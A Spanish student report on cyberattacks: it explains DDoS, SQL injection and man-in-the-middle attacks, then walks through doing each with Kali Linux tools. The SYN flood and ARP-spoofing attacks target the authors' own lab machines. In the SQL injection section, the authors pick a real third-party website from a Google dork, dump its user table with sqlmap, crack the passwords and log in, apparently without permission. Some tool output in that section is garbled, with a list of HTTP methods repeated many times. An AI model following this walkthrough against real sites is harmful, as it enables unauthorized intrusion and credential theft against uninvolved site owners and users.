

# **CIBERATAQUES.**

Miriam Mengíbar Rodríguez.  
Juan Anaya Ortiz.

- 1. Introducción.
- 2. Tipos de amenazas.
- 3. Ciberataques.
  - DdoS.
  - SQL injection.
  - MITM.
  - Ataques.

# 1. Introducción.

En la actualidad, la seguridad es un aspecto relevante en el ámbito de la informática, ya que cualquier sistema necesita protección para evitar que el contenido del mismo se vea comprometido.

La seguridad informática es una disciplina que se encarga de proteger la integridad y la privacidad de la información almacenada en un sistema informático. A decir verdad, no hay ningún algoritmo para conseguir la seguridad completa e impenetrable, así que solo trata de poner barreras que eviten la vulneración del sistema.

La seguridad informática se dedica principalmente a proteger la confidencialidad, la integridad, no repudio, autenticación y la disponibilidad de la información.

## 2.Amenazas.

La amenaza principal de cualquier sistema son los usuarios, pues pueden comprometer la seguridad de los sistemas sin darse cuenta por falta de conocimientos de ciberseguridad.

Hackers: Persona que intenta acceder a un sistema ajeno con intenciones maliciosas, o no.

Crackers: Término más preciosa para describir a una persona que intenta acceder a un sistema con intenciones maliciosas.

Intrusos remunerados: Personas con gran experiencia en ciberseguridad que trabajan para organismos medianamente grandes y cobran por obtener acceso a sistemas.

# Amenazas lógicas.

Software incorrecto: a los errores de programación en el software se les llama Bugs y a los programas para aprovechar uno de estos fallos se les llama Exploits.

Herramientas de seguridad: cualquier herramienta de seguridad representa un arma de doble filo de la misma forma que un administrador las utiliza para detectar y solucionar fallos en sus sistemas o la subred completa un intruso las puede utilizar para detectar esos mismos fallos y aprovecharlos para atacar los equipos.

Puertas traseras: Son parte de código de ciertos programas que permanecen sin hacer ninguna función hasta que son activadas. En ese punto la función que realizan no es la original del programa si no una acción perjudicial.



Canales cubiertos: son canales de comunicación que permiten a un proceso transferir información de forma que viole la política de seguridad del sistema.

Virus: un virus es una secuencia de código que se inserta en un fichero ejecutable de forma que cuando el archivo se ejecuta el virus también lo hace.

Gusanos: programa capaz de ejecutarse y propagarse por si mismo a través de redes, en ocasiones portando virus o aprovechando bugs de los sistemas a los que se conecta, para dañarlos. Son difíciles de programar, pero son muy dañinos.

Trojanos: su nombre es debido al famoso caballo de Troya, son instrucciones escondidas en un programa de forma que este parezca realizar las tareas que un usuario espera de el pero que realmente ejecuta funciones ocultas. Este programa no hace nada útil, simplemente se delimitan a reproducirse hasta que el número de copias acaba con los recursos del sistema.

# Amenazas físicas.

Robos, sabotajes, destrucción de sistemas.

Suministro eléctrico. Condiciones atmosféricas.

Catástrofes naturales.

# HoneyPots.

Para intentar paliar alguna de estas amenazas, muchos expertos en seguridad hacen uso de los honeypots. Un Honeypot es el software o conjunto de ordenadores cuya intención es atraer a atacantes, simulando ser sistemas vulnerables o débiles a los ataques. Es una herramienta de seguridad informática utilizada para recoger información sobre los atacantes y sus técnicas. Los Honeypots pueden distraer a los atacantes de las máquinas más importantes del sistema, y advertir rápidamente al administrador del sistema de un ataque, además de permitir un examen en profundidad del atacante, durante y después del ataque al honeypot.

### 3. Los ciberataques.

A medida que evoluciona el entorno de las amenazas cibernéticas, también debe desarrollarse la protección frente a dichas amenazas. Con la aparición de los ataques dirigidos y las amenazas persistentes avanzadas, queda claro que es necesario utilizar un nuevo enfoque de seguridad cibernética. Las técnicas tradicionales simplemente ya no resultan adecuadas para proteger los datos frente a los ciberataques.

## 3.1: DdoS.

El objetivo de un ataque DDoS es inhabilitar un servidor, un servicio o una infraestructura sobrecargando el ancho de banda del servidor o acaparando sus recursos hasta agotarlos. Durante un ataque DDoS, se envían multitud de peticiones simultáneamente desde múltiples puntos de la Red. La intensidad de este "fuego cruzado" desestabiliza el servicio o, aún peor, lo inhabilita.

Existen tres estrategias que pueden inhabilitar un sitio web, servidor o infraestructura:

**Ancho de banda:** Ataque que consiste en saturar la capacidad de la red del servidor, haciendo que sea imposible llegar a él.

**Recursos:** Ataque que consiste en agotar los recursos del sistema de la máquina, impidiendo que esta pueda responder a las peticiones legítimas.

**Explotación de fallos de software:** Categoría de ataque que explota fallos en el software que inhabilitan el equipo o toman su control.

Para detectar el ataque, podemos estudiar el flujo enviado por los routers. Se analiza ese resumen y se compara con posibles ataques anteriores. Si la comparación es positiva, se activaría el servicio de mitigación en pocos segundos.



Pero si nos tenemos que encargar de la defensa de nuestra propio servidor, podemos seguir los siguientes consejos:

Un buen diseño de un servidor debe tener en cuenta que estos ataques se pueden producir, así que lo lógico es tener un servicio que monitorice la actividad del servidor, y cuando detecte una situación no usual, avise al administrador del servidor.

También es importante escoger un umbral adecuado para nuestro servidor. Es decir, deberemos estudiar la actividad cotidiana de nuestro servidor para no elegir un valor ni muy bajo (podiendo confundirse con un ataque DDoS cuando solo es una pequeña subida en la cantidad de peticiones) ni un valor muy alto (permitiendo demasiadas peticiones de un posible ataque DDoS que, aunque no llegue a echar abajo nuestro servidor, consume gran parte de sus recursos.)

Además, interesa tener bien configurados todos los servicios de seguridad disponibles, como un cortafuegos, que permita el paso del tráfico únicamente que le interese a nuestro servidor. Lo ideal sería hacer uso de una DMZ (zona desmilitarizada).

Finalmente, hay que prestar especial atención a los puertos que tenemos abiertos. Esto es que solo debemos tener los puertos abiertos de los servicios que estemos usando.

## 3.2: SQL injection.

Consiste en la inserción de código SQL por medio de los datos de entrada desde la parte del cliente hacia la aplicación. Es decir, por medio de la inserción de este código el atacante puede modificar las consultas originales que debe realizar la aplicación y ejecutar otras totalmente distintas con la intención de acceder a la herramienta, obtener información de alguna de las tablas o borrar los datos almacenados, entre otras muchas cosas.

Podemos seguir ciertos consejos para evitar los ataques o por lo menos minimizar el riesgo de los mismos:

a) Escapar los caracteres especiales utilizados en las consultas SQL

Al hablar de “escapar caracteres” estamos haciendo referencia a añadir la barra invertida “\” delante de las cadenas utilizadas en las consultas SQL para evitar que estas corrompan la consulta.

Algunos de estos caracteres especiales que es aconsejable escapar son las comillas dobles (“), las comillas simples (‘) o los caracteres \x00 o \x1a ya que son considerados como peligrosos pues pueden ser utilizados durante los ataques.

## b) Delimitar los valores de las consultas

Aunque el valor de la consulta sea un entero, es aconsejable delimitarlo siempre entre comillas simples.

Una instrucción SQL del tipo:

```
SELECT nombre FROM usuarios WHERE id_user = $id
```

Será mucho más fácilmente inyectable que:

```
SELECT nombre FROM usuarios WHERE id_user = '$id'
```

c) Verificar siempre los datos que introduce el usuario

Si en una consulta estamos a la espera de recibir un entero, no confiemos en que sea así, sino que es aconsejable tomar medidas de seguridad y realizar la comprobación de que realmente se trata del tipo de dato que estamos esperando.

d)Asignar mínimos privilegios al usuario que conectará con la base de datos

El usuario que utilicemos para conectarnos a la base de datos desde nuestro código debe tener los privilegios justos para realizar las acciones que necesitemos. No utilizar nunca un usuario root con acceso a todas las bases de datos ya que de esta forma estaremos dando facilidades a los hackers para que puedan acceder a toda la información.



### 3.3: Man in the Middle.

En criptografía un ataque man-in-the-middle es un tipo de ataque informático en el que el atacante tiene conexiones independientes con las víctimas y transmite mensajes entre ellos, haciéndoles creer que están hablando directamente entre sí a través de una conexión privada, cuando en realidad toda la conversación es controlada por el atacante.

Existen varios tipos de defensa contra estos ataques MITM, estas defensas emplean técnicas de autenticación basadas en:

- Infraestructura de claves públicas

- Autenticación mutua fuerte.

- El examen de latencia, como con mucho los cálculos de la función hash criptográfica que conducen a decenas de segundos, si ambas partes toman normalmente 20 segundos y el cálculo de 60 segundos para llegar a cada parte, esto puede indicar a un tercero en la comunicación.

- Un segundo canal de verificación (seguro): por ejemplo el protocolo HTTPS (SSL)

# Ataques:

Para realizar los ataques, hemos usado el Sistema Operativo Kali Linux, el cual posee una serie de herramientas preinstaladas para la auditoría y seguridad de sistemas informáticos.

# Ataque Ddos.

Para este ataque, hemos usado la herramienta para pentesting Metasploit. Ésta nos permite mandar muchas peticiones SYN (recordemos el triple handshaking de TCP) haciendo que el servidor reserve recursos para todas las peticiones y quedando a la espera porque nunca se enviará el ACK. Usamos los comandos que se muestran en la siguiente figura:

```
=[ metasploit v4.14.10-dev ]  
+ -- --=[ 1639 exploits - 944 auxiliary - 289 post ]  
+ -- --=[ 472 payloads - 40 encoders - 9 nops ]  
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
```

```
msf > use /auxiliary/dos/tcp/synflood
```

```
msf auxiliary(synflood) > set RHOST 192.168.1.236
```

```
RHOST => 192.168.1.236
```

```
msf auxiliary(synflood) > exploit
```

```
[*] SYN flooding 192.168.1.236:80.
```

El modulo auxiliary contiene herramientas externas como pueden ser escaners de vulnerabilidades, sniffers, etc. En este caso usaremos synflood.

Con set RHOST 192.168.1.236, indicamos la ip de nuestra víctima.

Por último, “explotamos” el ataque para que se haga efectivo.

El escenario del ataque es el siguiente:

Hay un servidor XAMPP, en el sistema operativo windows 10, cuya IP es 192.168.1.236, la cual suponemos en la misma red que nuestra máquina atacante. En la siguiente captura, podemos observar la página de inicio del servidor, pero cuando realizamos el ataque, la aplicación que nos permite configurar el servidor falla, y el servidor cae.

← → × ⓘ 192.168.1.236/dashboard/ ⓘ ☆ B ⓘ ⓘ ⓘ ⓘ ⓘ ⓘ

Apache FriendsApplicationsFAQsHOW-TO GuidesPHPInfophpMyAdmin

XAMPP Control Panel v3.2.2 [ Compiled: Nov 12th 2015 ]

XAMPP Control Panel v3.2.2

Modules

Service	Module	PID(s)	Port(s)	Actions
<input checked="" type="checkbox"/>	Apache	1428 7692	80, 443	StopAdminConfigLogs
<input checked="" type="checkbox"/>	MySQL	9160	3306	StopAdminConfigLogs
<input type="checkbox"/>	FileZilla			StartAdminConfigLogs
<input type="checkbox"/>	Mercury			StartAdminConfigLogs
<input type="checkbox"/>	Tomcat			StartAdminConfigLogs

12:55:59 [mysql] Attempting to start MySQL app...

12:55:59 [Apache] Status change detected: running

12:55:59 [mysql] Status change detected: running

12:57:16 [NetStatTable] Problem loading NetStat TCP table: Returned -1073741823

12:57:16 [EXCEPTION] System Error. Code: 6.

Controlador no válido

12:57:16 [EXCEPTION] Access violation at address 0065B47A in module 'xampp-control.exe'. Read of addre

PHP + Perl

Config

xampp-control.exe

xampp-control.exe dejó de funcionar

Windows está buscando una solución al problema...

Cancelar

Well

You have

find more

Start the

Com

XAMPP

involved by joining our Forums,

adding yourself to the Mailing List, and liking us on Facebook, following our exploits on Twitter, or adding us to your Google+ circles.

Contribute to XAMPP translation at [translate.apachefriends.org](https://translate.apachefriends.org).

Esperando a www.facebook.com...



# Ataque MITM:

En este caso, usaremos la herramienta arpspoof y wireshark. Con la primera de ellas, lo que haremos será un ataque al protocolo ARP, el cual se encarga de traducir la ip de un dispositivo a su MAC. Para ello, falsearemos los paquetes IP, redirigiendo los paquetes de la víctima hacia nuestra máquina atacante, y una vez que pasa por nuestras manos, los reencaminaremos al router. También haremos esta operación en sentido inverso, es decir, el router nos mandará los paquetes que se correspondan con la IP de la víctima, y nuestra máquina los reencaminará hacia la víctima. Todo el proceso lo auditaremos con Wireshark para obtener los datos sensibles.

Nuestro escenario es el siguiente:

IP víctima: 192.168.1.46, MAC víctima: 90:48:9A:3E:64:37

IP router:192.168.1.1, MAC víctima: 54:67:51:59:FE:90

Nota: el router no tiene por qué ser un router, podría ser cualquier otro dispositivo con el que se comunicase la víctima, pero en este caso, lo que obtendremos será los datos de usuario de una página, así que será el router.

Así pues, el primer paso será falsear los paquetes, modificando las MAC tal y como se ha explicado anteriormente. El proceso se muestra en la siguiente figura:

[illegible]

Una vez hecho esto, tendremos que esperar a que el usuario ingrese en una página con el protocolo http. Nosotros estaremos observando con Wireshark la actividad del usuario. Por ejemplo, podemos obtener el usuario y la contraseña de un sitio web:



Filter:		ip.addr == 192.168.1.46 && tcp.port == 80		▼	Expression...	Clear	Apply	Guardar
No.	Time	Source	Destination	Protocol	Length	Info		
5734	158.97520466	192.168.1.46	216.58.211.195	HTTP	648	[TCP Retransmission] GET /s/roboto/v15/CWB0XYA8bz0kStHX0UTuA.woff2 HTTP/1.1		
5743	159.01041376	216.58.211.195	192.168.1.46	HTTP	173	HTTP/1.1 304 Not Modified		
5744	159.01041661	216.58.211.195	192.168.1.46	HTTP	173	[TCP Retransmission] HTTP/1.1 304 Not Modified		
5745	159.02437703	216.58.211.195	192.168.1.46	HTTP	172	HTTP/1.1 304 Not Modified		
5746	159.02439412	216.58.211.195	192.168.1.46	HTTP	172	[TCP Retransmission] HTTP/1.1 304 Not Modified		
5753	159.09316803	192.95.15.105	192.168.1.46	HTTP	407	HTTP/1.1 304 Not Modified		
5754	159.09316968	192.95.15.105	192.168.1.46	HTTP	407	[TCP Retransmission] HTTP/1.1 304 Not Modified		
5761	159.09801793	192.95.15.105	192.168.1.46	HTTP	403	HTTP/1.1 304 Not Modified		
5762	159.09803679	192.95.15.105	192.168.1.46	HTTP	403	[TCP Retransmission] HTTP/1.1 304 Not Modified		
5763	159.09916769	192.168.1.46	192.95.15.105	HTTP	807	GET /images/scroll_up.png HTTP/1.1		
5764	159.09917488	192.168.1.46	192.95.15.105	HTTP	807	[TCP Retransmission] GET /images/scroll_up.png HTTP/1.1		
5769	159.10285905	192.95.15.105	192.168.1.46	HTTP	369	HTTP/1.1 304 Not Modified		
5770	159.10286163	192.95.15.105	192.168.1.46	HTTP	369	[TCP Retransmission] HTTP/1.1 304 Not Modified		
5773	159.10291118	192.95.15.105	192.168.1.46	HTTP	403	HTTP/1.1 304 Not Modified		
5774	159.10293987	192.95.15.105	192.168.1.46	HTTP	403	[TCP Retransmission] HTTP/1.1 304 Not Modified		
5781	159.10975824	192.95.15.105	192.168.1.46	HTTP	317	HTTP/1.1 304 Not Modified		
5782	159.10978696	192.95.15.105	192.168.1.46	HTTP	317	[TCP Retransmission] HTTP/1.1 304 Not Modified		
5788	159.26312876	192.95.15.105	192.168.1.46	HTTP	402	HTTP/1.1 304 Not Modified		
5789	159.26313036	192.95.15.105	192.168.1.46	HTTP	402	[TCP Retransmission] HTTP/1.1 304 Not Modified		
5790	159.28478685	216.58.211.195	192.168.1.46	HTTP	173	[TCP Retransmission] HTTP/1.1 304 Not Modified		
5791	159.28480462	216.58.211.195	192.168.1.46	HTTP	173	[TCP Retransmission] HTTP/1.1 304 Not Modified		
5800	159.44852355	192.168.1.46	192.95.15.105	HTTP	703	GET /images/favicon.ico HTTP/1.1		
5801	159.44854276	192.168.1.46	192.95.15.105	HTTP	703	[TCP Retransmission] GET /images/favicon.ico HTTP/1.1		
5806	159.60496364	192.95.15.105	192.168.1.46	HTTP	386	HTTP/1.1 200 OK (image/x-icon)		
5943	165.50351694	192.168.1.46	192.95.15.105	HTTP	938	POST /site/login HTTP/1.1 (application/x-www-form-urlencoded)		
5944	165.50354501	192.168.1.46	192.95.15.105	HTTP	938	[TCP Retransmission] POST /site/login HTTP/1.1 (application/x-www-form-urlencoded)		
5951	165.67991769	192.95.15.105	192.168.1.46	HTTP	348	HTTP/1.1 200 OK (text/html)		
6374	190.53052125	192.168.1.46	91.228.167.86	HTTP	189	POST / HTTP/1.1		
6396	190.68006176	91.228.167.86	192.168.1.46	HTTP	289	HTTP/1.1 200 OK		
6532	195.03941277	192.168.1.46	13.107.4.50	HTTP	413	HEAD /filestreamingservice/files/8389d43c-5ee9-4e1b-b3c0-225cae88309a?P1=1478080985&P2=3016P3=26P4=f%2fL7zBZ7nq%2bHwAPDQ%2bkaR2KYHNeSGawcFHK%2fYX0%2fUw HTTP/1.1		
6533	195.03941537	192.168.1.46	13.107.4.50	HTTP	413	[TCP Retransmission] HEAD /filestreamingservice/files/8389d43c-5ee9-4e1b-b3c0-225cae88309a?P1=1478080985&P2=3016P3=26P4=f%2fL7zBZ7nq%2bHwAPDQ%2bkaR2KYHNeSGawcFHK%2fYX0%2fUw HTTP/1.1		
6544	195.04964348	192.168.1.46	13.107.4.50	HTTP	413	HEAD /filestreamingservice/files/8389d43c-5ee9-4e1b-b3c0-225cae88309a?P1=1478080985&P2=3016P3=26P4=f%2fL7zBZ7nq%2bHwAPDQ%2bkaR2KYHNeSGawcFHK%2fYX0%2fUw HTTP/1.1		
6545	195.04964506	192.168.1.46	13.107.4.50	HTTP	413	[TCP Retransmission] HEAD /filestreamingservice/files/8389d43c-5ee9-4e1b-b3c0-225cae88309a?P1=1478080985&P2=3016P3=26P4=f%2fL7zBZ7nq%2bHwAPDQ%2bkaR2KYHNeSGawcFHK%2fYX0%2fUw HTTP/1.1		
6548	195.05328984	192.168.1.46	13.107.4.50	HTTP	413	HEAD /filestreamingservice/files/8389d43c-5ee9-4e1b-b3c0-225cae88309a?P1=1478080985&P2=3016P3=26P4=f%2fL7zBZ7nq%2bHwAPDQ%2bkaR2KYHNeSGawcFHK%2fYX0%2fUw HTTP/1.1		
6549	195.05330356	192.168.1.46	13.107.4.50	HTTP	413	[TCP Retransmission] HEAD /filestreamingservice/files/8389d43c-5ee9-4e1b-b3c0-225cae88309a?P1=1478080985&P2=3016P3=26P4=f%2fL7zBZ7nq%2bHwAPDQ%2bkaR2KYHNeSGawcFHK%2fYX0%2fUw HTTP/1.1		
6554	195.08199949	192.168.1.46	13.107.4.50	HTTP	413	HEAD /filestreamingservice/files/8389d43c-5ee9-4e1b-b3c0-225cae88309a?P1=1478080985&P2=3016P3=26P4=f%2fL7zBZ7nq%2bHwAPDQ%2bkaR2KYHNeSGawcFHK%2fYX0%2fUw HTTP/1.1		
6555	195.08200988	192.168.1.46	13.107.4.50	HTTP	413	[TCP Retransmission] HEAD /filestreamingservice/files/8389d43c-5ee9-4e1b-b3c0-225cae88309a?P1=1478080985&P2=3016P3=26P4=f%2fL7zBZ7nq%2bHwAPDQ%2bkaR2KYHNeSGawcFHK%2fYX0%2fUw HTTP/1.1		
6566	195.11651699	192.168.1.46	13.107.4.50	HTTP	444	GET /filestreaminqservice/files/8389d43c-5ee9-4e1b-b3c0-225cae88309a?P1=1478080985&P2=3016P3=26P4=f%2fL7zBZ7nq%2bHwAPDQ%2bkaR2KYHNeSGawcFHK%2fYX0%2fUw HTTP/1.1		
0310	63 63 6e 3d 28 6f 72 67	61 6e 69 63 29 7c 75 74	ccn=(org anic) utm					
0320	6d 63 6d 64 3d 6f 72 67	61 6e 69 63 7c 75 74 6d	mcmd=org anic utm					
0330	63 74 72 3d 28 6e 6f 74	25 32 30 70 72 6f 76 69	ctr=(not %20provided).... LoginFor					
0340	64 65 64 29 0d 0a 0d 0a	4c 6f 67 69 6e 46 6f 72	m[userna me]=PRUE					
0350	6d 5b 75 73 65 72 6e 61	6d 65 5d 3d 50 52 55 45	BA&Login Form[pas					
0360	42 41 26 4c 6f 67 69 6e	46 6f 72 6d 5b 70 61 73	sword]=P RUEBA&po					
0370	73 77 6f 72 64 5d 3d 50	52 55 45 42 41 26 70 6f	pup=l&se sscheck=					
0380	70 75 70 3d 31 26 73 65	73 73 63 68 65 63 6b 3d	0h0qdpce e8vt17ds					
0390	30 68 30 71 64 70 63 65	65 38 76 74 31 37 64 73	34kk2dog 32					
03a0	33 34 6b 6b 32 64 6f 67	33 32						



# Ataque SQL injection:

Para este caso, hemos usado la herramienta SQLMap, la cual nos permite descubrir las vulnerabilidades y obtener los datos de las base de datos. Se basa en realizar consultas a las que la base de datos puede ser vulnerable por no haberse realizado una correcta validación de las mismas.

inurl:item\_id=



**Todo**

Videos

Imágenes

Shopping

Noticias

Más

Configuración

Herramientas

Aproximadamente 14.600.000 resultados (0,47 segundos)

### Cinemax - Films

[www.cinemax-prod.co.il/project.asp?item\\_id=10](http://www.cinemax-prod.co.il/project.asp?item_id=10) ▼ Traducir esta página

Escapeland. "Escapeland" follows the against-all-odds love story between a young Israeli woman from a kibbutz and a Sudanese Muslim UN refugee, who is not ...

### European Industry Day - European Commission - Europa.eu

[ec.europa.eu/growth/tools-databases/.../itemdetail.cfm?item\\_id...](http://ec.europa.eu/growth/tools-databases/.../itemdetail.cfm?item_id...) ▼ Traducir esta página

23 ene. 2017 - The event opened with a video message from Commission President Jean-Claude Juncker. High-level policy makers, including Commission ...

### JUST Newsroom - Public consultation on whistleblower protection ...

[ec.europa.eu/newsroom/just/item-detail.cfm?item\\_id=54254](http://ec.europa.eu/newsroom/just/item-detail.cfm?item_id=54254) ▼ Traducir esta página

3 mar. 2017 - The questionnaire. <https://ec.europa.eu/eusurvey/runner/whistleblowerprotection2017>. You can access translated versions of the survey via the ...

### JUST Newsroom - 2016 Annual Colloquium on Fundamental Rights ...

[ec.europa.eu/newsroom/just/item-detail.cfm?item\\_id=31198](http://ec.europa.eu/newsroom/just/item-detail.cfm?item_id=31198) ▼ Traducir esta página

5 dic. 2016 - On 17-18 November 2016 the second Annual Colloquium on Fundamental Rights will be held in Brussels. The 2016 Colloquium on ...

### FieldCollectionItemEntity::\$item\_id | field\_collection.module | Drupal 7 ...

[www.drupalcontrib.org/.../FieldCollectionItemEntity%3A%3Aite...](http://www.drupalcontrib.org/.../FieldCollectionItemEntity%3A%3Aite...) ▼ Traducir esta página

FieldCollectionItemEntity::\$item\_id. drupal. 7 contributions/field\_collection/field\_collection.module. Entity ID. Type: integer ...

### Adolf Hitler's Fake Passport - The National Archives

[https://www.nationalarchives.gov.uk/museum/item.asp?item\\_id...](https://www.nationalarchives.gov.uk/museum/item.asp?item_id...) - Traducir esta página

No hay disponible una descripción de este resultado debido al archivo robots.txt de este sitio  
Más información

### Bulgaria - DMCSEE, Drought Management Centre for Southeastern ...

[www.dmcsee.org/en/countries/?item\\_id=5](http://www.dmcsee.org/en/countries/?item_id=5) ▼ Traducir esta página

Area: 110,912 km<sup>2</sup> (water: 0.3%). Population: (estimate), 7,322,599. Population density: 66 /km<sup>2</sup>. Data obtained from WMO: Number of meteorological stations in ...



Escogeremos [www.dcmsee.org](http://www.dcmsee.org). Para comprobar si realmente la página es vulnerable, entramos en el link, y al final de este ponemos el caracter `"`. Si es vulnerable, saldrá un error SQL:

**You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 13**

Una vez que sabemos que la página es vulnerable, empezaremos nuestro ataque: introducimos el comando sqlmap -u [http://www.dcmsee.org/en/countries/?item\\_id=5](http://www.dcmsee.org/en/countries/?item_id=5) – dbs. Este comando, nos devolverá las base de datos disponibles:

```
unique test
[13:34:13] [INFO] target URL appears to have 7 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[13:34:30] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[13:34:30] [INFO] testing 'MySQL UNION query (20) - 1 to 20 columns'
[13:34:33] [INFO] testing 'MySQL UNION query (10) - 21 to 40 columns'
[13:34:36] [INFO] testing 'MySQL UNION query (10) - 41 to 60 columns'
[13:34:40] [INFO] testing 'MySQL UNION query (10) - 61 to 80 columns'
[13:34:43] [INFO] testing 'MySQL UNION query (10) - 81 to 100 columns'
[13:34:47] [WARNING] parameter length constrainting mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'item_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 429 HTTP(s) requests:
```

```
-----
Parameter: item_id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: item_id=5 RLIKE (SELECT (CASE WHEN (3269=3269) THEN 5 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: item_id=5 AND ROW(8396,9621)>(SELECT COUNT(*),CONCAT(0x717a6b7871,(SELECT (ELT(8396=8396,1))) ,0x717a767171,FLOOR(RAND(0)*2))x FROM (SELECT 7303 UNION SELECT 6667 UNION SELECT 8945 UNION SELECT 6410)
a GROUP BY x)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: item_id=5 AND SLEEP(5)
```

```
---
[13:34:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 5.0 (lenny)
web application technology: PHP 5.3.3, Apache 2.2.9
back-end DBMS: MySQL >= 4.1
[13:34:59] [INFO] fetching database names
[13:35:00] [INFO] the SQL query used returns 2 entries
[13:35:00] [INFO] retrieved: information_schema
[13:35:00] [INFO] retrieved: dmcseems
available databases [2]:
[*] dmcseems
[*] information_schema
```

```
[13:35:00] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.dmcsee.org'
```

paginasvuln

Screenshot


erables.png

from 2017-11-11 13:47.png


Trash

Other Locations

"errorinjection.png" selected (815.4 kB)



**DMCSEE**  
Drought Management Centre  
for Southeastern Europe



[Home](#) [Drought monitor](#) [Events](#) [Links](#) [Members section](#) [TCP project](#) [News](#) [Contacts](#)

SQ BG HR MK HU RO SI TR SR

EN

**Bulgaria**

**Founding countries:**

→ Albania

→ Bosnia and Herzegovina

→ Bulgaria

En nuestro caso, hay dos disponibles: dmcseems e information\_schema. Intuimos que la información de los posibles usuarios estará en la primera de ellas, así que lanzamos el comando sqlmap -u [http://www.dcmsee.org/en/countries/?item\\_id=5](http://www.dcmsee.org/en/countries/?item_id=5) -D dmcseems --tables. Así obtenemos las tablas de esta base de datos. Hay una tabla que nos llaman la atención: site\_users, así que el siguiente paso será ver que hay en ella, para ello introducimos el comando sqlmap -u [http://www.dcmsee.org/en/countries/?item\\_id=5](http://www.dcmsee.org/en/countries/?item_id=5) -D dmcseems --tables -T site\_users --columns y el resultado es el siguiente:

Database: dmcseems  
Table: site\_users  
[6 columns]

Column	Type
email	varchar(255)
id	int(10)
name	varchar(255)
ord	int(10)
password	varchar(40)
username	varchar(255)

[13:48:02] [INFO] fetched data logged to text files under: '/root/.sqlmap/output/www.dmcsee.org'

[\*] shutting down at 13:48:02

root@kali: ~

sql Help

# sqlmap -u https://www.dmcsee.org/cgi-bin/item.cgi/item\_id=15 -D 'user\_info' -f user\_info --columns

sqlmap/1.0-dev - automatic SQL injection and database takeover tool

sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

sqlmap is a tool for automating the process of testing for SQL and DBMS "vulnerabilities"

sqlmap will attempt to determine the target DBMS

sqlmap will attempt to determine the target DBMS by testing the following injection points with a total of 0 HTTP(s) requests:

1) HTTP(s) GET method

2) HTTP(s) POST method

3) HTTP(s) HEAD method

4) HTTP(s) OPTIONS method

5) HTTP(s) PUT method

6) HTTP(s) DELETE method

7) HTTP(s) PATCH method

8) HTTP(s) TRACE method

9) HTTP(s) CONNECT method

10) HTTP(s) OPTIONS method

11) HTTP(s) PATCH method

12) HTTP(s) DELETE method

13) HTTP(s) CONNECT method

14) HTTP(s) OPTIONS method

15) HTTP(s) PATCH method

16) HTTP(s) DELETE method

17) HTTP(s) CONNECT method

18) HTTP(s) OPTIONS method

19) HTTP(s) PATCH method

20) HTTP(s) DELETE method

21) HTTP(s) CONNECT method

22) HTTP(s) OPTIONS method

23) HTTP(s) PATCH method

24) HTTP(s) DELETE method

25) HTTP(s) CONNECT method

26) HTTP(s) OPTIONS method

27) HTTP(s) PATCH method

28) HTTP(s) DELETE method



De esta tabla, podemos escoger las columnas que queramos, en nuestro caso para ver que el ataque ha sido efectivo cogeremos password y username. Para ello introducimos el comando sqlmap -u [http://www.dcmsee.org/en/countries/?item\\_id=5](http://www.dcmsee.org/en/countries/?item_id=5) -D dmcseems -T site\_users -C username --dump para los nombres de usuario y sqlmap -u [http://www.dcmsee.org/en/countries/?item\\_id=5](http://www.dcmsee.org/en/countries/?item_id=5) -D dmcseems -T site\_users -C username --dump para las contraseñas. Si tenemos suerte, puede que las contraseñas no estén encriptadas. En nuestro caso, estaban encriptadas, pero el propio sqlmap ofrece un algoritmo de fuerza bruta para desencriptar. Así pues, obtenemos el nombre de usuario y contraseña de alguno de ellos y lo probamos:

### Login to members section:

You can login here to access the contents and documents of the members section:

Username \*:

Password \*:

[Lost password?](#)



Cuando le damos a members section(donde salía el login) de nuevo vemos que nos hemos identificado correctamente e incluso podemos modificar la contraseña.

**Members section**

[Logout](#)

[Change your password](#)

Con eso acabamos. Como conclusión final, aventaros a informaros más sobre ciberseguridad para que implantéis mejores medidas defensivas en vuestros sistemas, que nadie sabe nunca cuándo se vulnerará vuestra seguridad y, con ella, vuestra intimidad.